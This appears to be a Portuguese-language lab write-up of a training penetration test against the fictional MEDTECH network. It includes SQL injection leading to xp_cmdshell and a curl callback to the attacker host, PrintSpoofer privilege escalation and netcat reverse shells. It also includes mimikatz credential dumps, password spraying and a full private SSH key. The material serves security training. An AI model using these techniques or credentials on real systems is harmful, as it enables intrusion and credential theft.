Med Tech
Med Tech
md
We have been tasked to conduct a penetration test for MEDTECH a recently formed IoT
healthcare startup. Our objective is to find as many vulnerabilities and misconfigurations as
possible in order to increase their Active Directory security posture and reduce the attack
surface.
The organization topology diagram is shown below and the public subnet network resides in
the 192.168.xx.0/24 range, where the xx of the third octet can be found under the IP
ADDRESS field in the control panel.
192.168.XXX.121
Keeping track
nmap
Nmap scan report for 192.168.215.121
Host is up (0.16s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: MedTech
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
No campo de Get in Touch da página, quando faz uma requisição, o formulário faz
uma busca por um File dentro do webserver.
message=%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E&name=Pedro&email
=pedro%40test.com&subject=Test&0=m&1=e&2=s&3=s&4=a&5=g&6=e&7=%3D&8=%25&9=3&
10=C&11=i&12=m&13=g&14=%2B&15=s&16=r&17=c&18=%25&19=3&20=D&21=x&22=%2B&23=o
&24=n&25=e&26=r&27=r&28=o&29=r&30=%25&31=3&32=D&33=a&34=l&35=e&36=r&37=t&38
=
(&39=d&40=o&41=c&42=u&43=m&44=e&45=n&46=t&47=.&48=d&49=o&50=m&51=a&52=i&53=
n&54=)&55=%25&56=3&57=E&58=%26&59=n&60=a&61=m&62=e&63=%3D&64=P&65=e&66=d&67
=r&68=o&69=%26&70=e&71=m&72=a&73=i&74=l&75=%3D&76=p&77=e&78=d&79=r&80=o&81=
%25&82=4&83=0&84=t&85=e&86=s&87=t&88=.&89=c&90=o&91=m&92=%26&93=s&94=u&95=b
&96=j&97=e&98=c&99=t&100=%3D&101=T&102=e&103=s&104=t
&0=m&1=e&2=s&3=s&4=a&5=g&6=e&7=%3D&8=%25&9=3&10=C&11=i&12=m&13=g&14=%2B&15=
s&16=r&17=c&18=%25&19=3&20=D&21=x&22=%2B&23=o&24=n&25=e&26=r&27=r&28=o&29=r
&30=%25&31=3&32=D&33=a&34=l&35=e&36=r&37=t&38=
(&39=d&40=o&41=c&42=u&43=m&44=e&45=n&46=t&47=.&48=d&49=o&50=m&51=a&52=i&53=
n&54=)&55=%25&56=3&57=E&58=%26&59=n&60=a&61=m&62=e&63=%3D&64=P&65=e&66=d&67
=r&68=o&69=%26&70=e&71=m&72=a&73=i&74=l&75=%3D&76=p&77=e&78=d&79=r&80=o&81=
%25&82=4&83=0&84=t&85=e&86=s&87=t&88=.&89=c&90=o&91=m&92=%26&93=s&94=u&95=b
&96=j&97=e&98=c&99=t&100=%3D&101=T&102=e&103=s&104=t
Realizando o regex, podemos verificar que é apenas a mensagem que foi enviada no
campo de mensagem:
&\d+=
message%3D%253Cimg%2Bsrc%253Dx%2Bonerror%253Dalert(document.domain)%253E%26
name%3DPedro%26email%3Dpedro%2540test.com%26subject%3DTest
Não faço ideia. Tem uma página de login, tentando acessar ela, consegui encontrar um
SQLInjection ( post.txt ):
__VIEWSTATE=%2FwEPDwUKMjA3MTgxMTM4N2RkL7UlJbQLRVEHtdBd2cHsgmzduFNoWHiXrVGu0
cD9%2Bjc%3D&__VIEWSTATEGENERATOR=C2EE9ABB&__EVENTVALIDATION=%2FwEdAATHRQHJ3
fxgbABeqXLtYnwsG8sL8VA5%2Fm7gZ949JdB2tEE%2BRwHRw9AX2%2FIZO4gVaaKVeG6rrLts0M
7XT7lmdcb6vZhOhYNI15ms6KxT68HdWaGxCBK67o39S7upoRJaNfM%3D&ctl00%24ContentPla
ceHolder1%24UsernameTextBox=admin'&ctl00%24ContentPlaceHolder1%24PasswordTe
xtBox=password&ctl00%24ContentPlaceHolder1%24LoginButton=Login
<span id="ContentPlaceHolder1_MyLabel">
System.Data.SqlClient.SqlException (0x80131904): Unclosed quotation mark
after the character string 'admin';'.
Incorrect syntax near 'admin';'.
at System.Data.SqlClient.SqlConnection.OnError(SqlException exception,
Boolean breakConnection, Action`1 wrapCloseInAction)
at
System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObje
ct stateObj, Boolean callerHasConnectionLock, Boolean asyncClose)
at System.Data.SqlClient.TdsParser.TryRun(RunBehavior runBehavior,
SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet
bulkCopyHandler, TdsParserStateObject stateObj, Boolean& dataReady)
at System.Data.SqlClient.SqlDataReader.TryConsumeMetaData()
at System.Data.SqlClient.SqlDataReader.get_MetaData()
at System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader
ds, RunBehavior runBehavior, String resetOptionsString, Boolean isInternal,
Boolean forDescribeParameterEncryption, Boolean
shouldCacheForAlwaysEncrypted)
at System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(CommandBehavior
cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean async,
Int32 timeout, Task& task, Boolean asyncWrite, Boolean inRetry,
SqlDataReader ds, Boolean describeParameterEncryptionRequest)
at System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior
cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method,
TaskCompletionSource`1 completion, Int32 timeout, Task& task, Boolean&
usedCache, Boolean asyncWrite, Boolean inRetry)
at System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior
cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method)
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior
behavior, String method)
at System.Data.SqlClient.SqlCommand.ExecuteReader()
at MyNamespace.MyClass.Login(Object sender, EventArgs e) in
c:\inetpub\wwwroot\login.cs:line 35
ClientConnectionId:31d4e273-e24f-42e6-90bd-5fd68ff6eae7
Error Number:105,State:1,Class:15
</span>
admin'+ORDER+BY+3--+//
System.Data.SqlClient.SqlException (0x80131904): The ORDER BY position
number 3 is out of range of the number of items in the select list.
Consegui descobrir a existencia da coluna user , mas aparentemente é blind SQL (Não
posso usar isso na prova!), vou usar SQLMap para poder entender melhor a injeção.
Database: webapp
Table: sqlmapoutput
[2 entries]
+----+--------+
| id | data |
+----+--------+
| 1 | 1 |
| 2 | NULL |
+----+--------+
Database: webapp
Table: users
[0 entries]
+----------+----------+
| password | username |
+----------+----------+
+----------+----------+
Nenhuma entrada no banco de dados :(, posso tentar acessar o webserver pelo sqlmap
via --os-shell --web-root "/var/www/html/tmp"
Executado corretamente, testar para ver se ele bate em um python server por exemplo
ctl00%24ContentPlaceHolder1%24UsernameTextBox=admin%27%20EXEC%20master.dbo.
xp_cmdshell%20%27curl%20192.168.45.170%27%3B%20--%20%2F%2F
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.215.121 - - [13/Jun/2024 02:04:42] "GET / HTTP/1.1" 200 -
PS C:\Users\Public\Documents> whoami
nt service\mssql$sqlexpress
PRIVILEGES INFORMATION
----------------------
$ wget
https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64
.exe
iwr -uri http://192.168.45.170/PrintSpoofer64.exe -Outfile
PrintSpoofer64.exe
.\PrintSpoofer64.exe -i -c powershell.exe
C:\Users\Public\Documents>.\PrintSpoofer64.exe -i -c powershell.exe
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
nt authority\system
PS C:\Users\Administrator\Desktop> type
C:\Users\Administrator\Desktop\proof.txt
type C:\Users\Administrator\Desktop\proof.txt
4626a077b4271ed106df75a03501bbb5
Post exploitation
mimikatz.exe com nt authority\system
* Username : joe
* Domain : MEDTECH
* NTLM : 08d7a47a6f9f66b97b1bae4178747494
* Username : joe
* Domain : MEDTECH.COM
* Password : Flowers1
* Username : Administrator
* Domain : WEB02
* NTLM : b2c03054c306ac8fc5f9d188710b0168
PS C:\Users\Public\Documents> . .\SharpHound.ps1
Domínio: MEDTECH.COM
Computer IP
PROD01.MEDTECH.COM 172.16.199.13
CLIENT02.MEDTECH.COM 172.16.199.83
CLIENT01.MEDTECH.COM 172.16.199.82
DC01.MEDTECH.COM 172.16.199.10
DEV04.MEDTECH.COM 172.16.199.12
WEB02.DMZ.MEDTECH.COM 172.16.199.254 (192.168.199.121)
FILES02.MEDTECH.COM 172.16.199.11
Perfeito, conseguimos mapear os IPs de cada domínio. Agora podemos pegar todos os
usuários presentes no AD
User Password
NT AUTHORITY XX
GUEST XX
OFFSEC XX
ADMINISTRATOR XX
KRBTGT XX
Em busca dos domain admins, temos apenas dois users nessa categoria
User Password
LEON XX
ADMINISTRATOR XX
Seguindo mais ou menos ainda com o Assembling the Pieces do material do curso, é
interessante fazer uma busca para quais usuários possuem sessões ativas em quais
máquinas:
Com essa query, observamos que os seguintes users possuem login ativo nos
computadores:
User Computer
JOE WEB02
LEON DEV04
O usuário que possui privilégios administrativos leon possui sessão ativa na máquina
DEV04, então se eu consegui obter acesso a máquina, conseguiria usar uma técnica
de AS-REQ ou Kerberoast para obter a hash do usuário e obter acesso a esse usuário.
$ cp /home/kali/Documents/beyond/chisel .
$ ./chisel server -p 9002 --reverse
O joe possui acesso com privilégios no FILES02 . E como é WinRM, devemos utilizar
o evil-winrm
Infelizmente não foi dessa vez, continuando. Dentro da pasta Documents , tem um
arquivo de log ( fileMonitorBackup.log ), e dentro desse arquivo de log, é possível
verificar quatro hashes para quatro usuários:
daisy:abf36048c1cf88f5603381c5128feb8e
toad:5be63a865b65349851c1f11a067a3068
wario:fdf36048c1cf88f5630381c5e38feb8e
goomba:8e9e1516818ce4e54247e71e71b5f436
Foi possível quebrar apenas uma senha dentro dessas 4 hashes NTLM
username password
wario Mushroom!
Posso tentar essa senha em outros IPs agora, e testando ela para o
CLIENT02.MEDTECH.COM , conseguimos obter privilégios nessa máquina com esse user
auditTracker(auditTracker)[C:\DevelopmentExecutables\auditTracker.exe] -
Autoload - isDotNet
File Permissions: Everyone [AllAccess], Authenticated Users
[WriteData/CreateFiles]
Possible DLL Hijacking in binary folder: C:\DevelopmentExecutables
(Everyone [AllAccess], Authenticated Users [WriteData/CreateFiles])
Temos acesso para write nesse executável que é realizado AutoLoad. Nosso perfil tem
a permissão de realizar restart no sistema. Ou seja, após reboot, no autoload é
executado o auditTracker.exe e conseguimos uma shell reversa com privilégios
administrativos.
$ cat addadmin.c
#include <stdlib.h>
int main() {
int i;
return 0;
}
Porém, o pessoal do Discord disse que conseguimos fazer stop e start via sc.exe .
sc.exe (Service Control) é uma ferramenta de linha de comando do Windows que
permite aos administradores gerenciar serviços no sistema operacional. Então para
startar o serviço, temos:
The service did not respond to the start or control request in a timely
fashion.
---------------------------------------------------------------------------
----
Administrator DefaultAccount Guest
offsec pedro WDAGUtilityAccount
---------------------------------------------------------------------------
----
Administrator
MEDTECH\Domain Admins
pedro
Infelizmente não deu certo criar o usuário, então fui pela criação de um revshell mesmo:
$ nc -lnvp 4446
connect to [192.168.45.170] from (UNKNOWN) [192.168.245.121] 61464
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>type C:\Users\Administrator\Desktop\proof.txt
type C:\Users\Administrator\Desktop\proof.txt
72f950da5646579dd3c86ecd18c7392e
Depois do privesc, tentar as outras máquinas que ainda não consegui acesso. Uma
dica compartilhada pelo pessoal foi a de fazer spray and pray com as informações que
eu tenho com crackmapexec e proxychains , só que tem um problema como reportado
pelo material.
CrackMapExec version 5.4.0 may throw the error **The NETBIOS connection
with the remote host is timed out** for DCSRV1, or doesn't provide any
output at all. Version 5.4.1 contains a fix to address this issue.
Então eu estou usando a versão mais recente que peguei fazendo git clone e
compilando do repo original.
$ pwd
/opt/CrackMapExec
$ proxychains -q poetry run crackmapexec smb
/home/kali/Documents/medtech/hashes/targets.txt -u
/home/kali/Documents/medtech/hashes/users.txt -d medtech.com -p
/home/kali/Documents/medtech/hashes/pass.txt --shares
username password
yoshi Mushroom!
Testando RDP para esse host com essas credenciais, foi possível acessar o host:
Com isso, é possível pegar as flags desse host (Não possui local.txt nessa
maquina):
O usuário yoshi também possui acesso ao host DEV04 (sem Pwned! )
Sem sucesso, vamos usar o winPEAS.exe para identificar um possível privesc. Após
rodar o winPEAS.exe , foi possível perceber que existe um arquivo executável chamado
backup.exe na pasta C:\TEMP\ , o que é intrigante, pois pode ser um executavel de
rotina dentro da máquina.
$ nc -lnvp 4448
listening on [any] 4448 ...
connect to [192.168.45.170] from (UNKNOWN) [192.168.245.121] 62260
Microsoft Windows [Version 10.0.20348.169]
(c) Microsoft Corporation. All rights reserved.
Agora com acesso administrativo na DEV04 , podemos obter as hashes de leon via
mimikatz.exe
* Username : leon
* Domain : MEDTECH
* NTLM : 2e208ad146efda5bc44869025e06544a
* Username : leon
* Domain : MEDTECH.COM
* Password : rabbit:)
Agora que sabemos a senha do leon , e sabemos pelo Bloodhound que ele é um
usuário que pertence ao grupo de usuários com privilégios administrativos na DC01 ,
podemos nos autenticar por lá.
Antes de ir para DC01 , vamos na ultima máquina para explorar ( PROD01 ) e capturar a
flag de lá
username password
offsec century62hisan51
Como sabemos que não temos no AD um WEB01 , utilizaremos essa credencial para
outro host do desafio. Acredito que aqui esteja finalizado.
Aparentemente faltou uma máquina ( 172.16.XXX.14 ), não sei se está aqui, mas vou
tentar:
__VIEWSTATE=%2FwEPDwUKMjA3MTgxMTM4N2RkL7UlJbQLRVEHtdBd2cHsgmzduFNoWHiXrVGu0
cD9%2Bjc%3D&__VIEWSTATEGENERATOR=C2EE9ABB&__EVENTVALIDATION=%2FwEdAATHRQHJ3
fxgbABeqXLtYnwsG8sL8VA5%2Fm7gZ949JdB2tEE%2BRwHRw9AX2%2FIZO4gVaaKVeG6rrLts0M
7XT7lmdcb6vZhOhYNI15ms6KxT68HdWaGxCBK67o39S7upoRJaNfM%3D&ctl00%24ContentPla
ceHolder1%24UsernameTextBox=admin%27%20EXEC%20master.dbo.xp_cmdshell%20%27C
%3A%5CUsers%5CPublic%5Creverse.exe%27%3B%20--%20%2F%2Fcd
C&ctl00%24ContentPlaceHolder1%24PasswordTextBox=password&ctl00%24ContentPla
ceHolder1%24LoginButton=Login
$ nc -lnvp 4444
C:\Windows\system32>
# whoami
root
# ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.245.122 netmask 255.255.255.0 broadcast
192.168.245.255
ether 00:50:56:bf:d3:06 txqueuelen 1000 (Ethernet)
RX packets 173758 bytes 527464872 (527.4 MB)
RX errors 0 dropped 1447 overruns 0 frame 0
TX packets 72793 bytes 5753347 (5.7 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
# cd mario
# ls -lah
total 32K
drwxr-x--- 4 mario mario 4.0K Oct 6 2022 .
drwxr-xr-x 4 root root 4.0K Oct 3 2022 ..
-rw------- 1 mario mario 58 Oct 3 2022 .bash_history
-rw-r--r-- 1 mario mario 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 mario mario 3.7K Jan 6 2022 .bashrc
drwx------ 2 mario mario 4.0K Oct 6 2022 .cache
-rw-r--r-- 1 mario mario 807 Jan 6 2022 .profile
drwx------ 2 mario mario 4.0K Oct 3 2022 .ssh
Pasta .ssh é interessante por que pode conter uma chave privada para usar como
autenticação no outro ssh
# cd .ssh
# ls
id_rsa id_rsa.pub known_hosts known_hosts.old
Como suspeitava, temos acesso a id_rsa para podermos testar na outra máquina:
# cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
pI77A9Emp3E9cAAAAJbWFyaW9AdnBuAQI=
-----END OPENSSH PRIVATE KEY-----
$ whoami
mario
$ hostname
NTP
$ cat local.txt
5ad5e2fe4d722463729259d3c0a757d4
192.168.XXX.120
Keeping track
nmap
Nmap scan report for 192.168.215.120
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:72:7e:4c:bb:ff:86:ae:b0:03:00:79:a1:c5:af:34 (RSA)
| 256 f1:31:e5:75:31:36:a2:59:f3:12:1b:58:b4:bb:dc:0f (ECDSA)
|_ 256 5a:05:9c:fc:2f:7b:7e:0b:81:a6:20:48:5a:1d:82:7e (ED25519)
80/tcp open http WEBrick httpd 1.6.1 (Ruby 2.7.4 (2021-07-07))
|_http-server-header: WEBrick/1.6.1 (Ruby/2.7.4/2021-07-07)
|_http-title: PAW! (PWK Awesome Website)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Acessando a 80.: PAW! (PWK Awesome Website) .
O site parece estar usando, de acordo com o Wappalyzer, um static site generator
chamado Jekyll. a versão detectada é:
http://0.0.0.0/jekyll/update/**2022/10/03**/welcome-to-jekyll.html
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -u
http://192.168.215.120/FUZZ
Navegando por eles, é possível observar também que o servidor HTTP é um WEBrick
versão
WEBrick/1.6.1 (Ruby/2.7.4/2021-07-07)
$ searchsploit WEBrick
DoS não é interessante, mas tem um command injection que talvez funcione:
$ searchsploit -x multiple/remote/33489.txt
wget http://www.example.com:8080/%1b%5d%32%3b%6f%77%6e%65%64%07%0a
username password
offsec century62hisan51
$ ssh [email protected]
[email protected]'s password:
offsec@WEB01:~$
Com isso, o privesc é super simples, basta executar por exemplo o comando sudo su
offsec@WEB01:~$ sudo su
root@WEB01:/home/offsec# whoami
root
root@WEB01:/home/offsec# cd /root
root@WEB01:~# dir
gems proof.txt _site startup.py
root@WEB01:~# cat proof.txt
95389f99e0a7f6be4a997e57dbff02dd
192.168.XXX.122
Keeping track
nmap
nmap -sC -sV 192.168.215.122
username password
joe Flowers1
username password
offsec century62hisan51
$ ssh [email protected]
[email protected]'s password:
Permission denied, please try again.
No luck :(
Testar TODOS os usuários e TODAS as senhas encontradas até agora via hydra
User Password
YOSHI Mushroom!
MARIO XX
LEON rabbit:)
JOE Flowers1
PEACH XX
WARIO Mushroom!
offsec century62hisan51
secret
WhileChirpTuesday218
password
Adicionando essas senhas no meu pass.txt , agora eu consigo testar o hydra com
elas:
ssh [email protected]
[email protected]'s password:
Last login: Wed Mar 8 07:42:02 2023
(lshell) - You are in a limited shell.
Type '?' or 'help' to get the list of allowed commands
offsec:~$
Negócio é doido, não posso realizar nada além dos comandos descritos
offsec:~$ ?
cat cd clear echo exit help history ll lpath ls lsudo sudo
Com acesso pelo menos ao sudo, consigo saber se consigo executar um comando com
privilégios administrativos
offsec:~$ sudo -l
[sudo] password for offsec:
Matching Defaults entries for offsec on vpn:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/b
in\:/snap/bin, use_pty
# cat /root/proof.txt
f5aba9837787fa4d5ea13460e8cc603f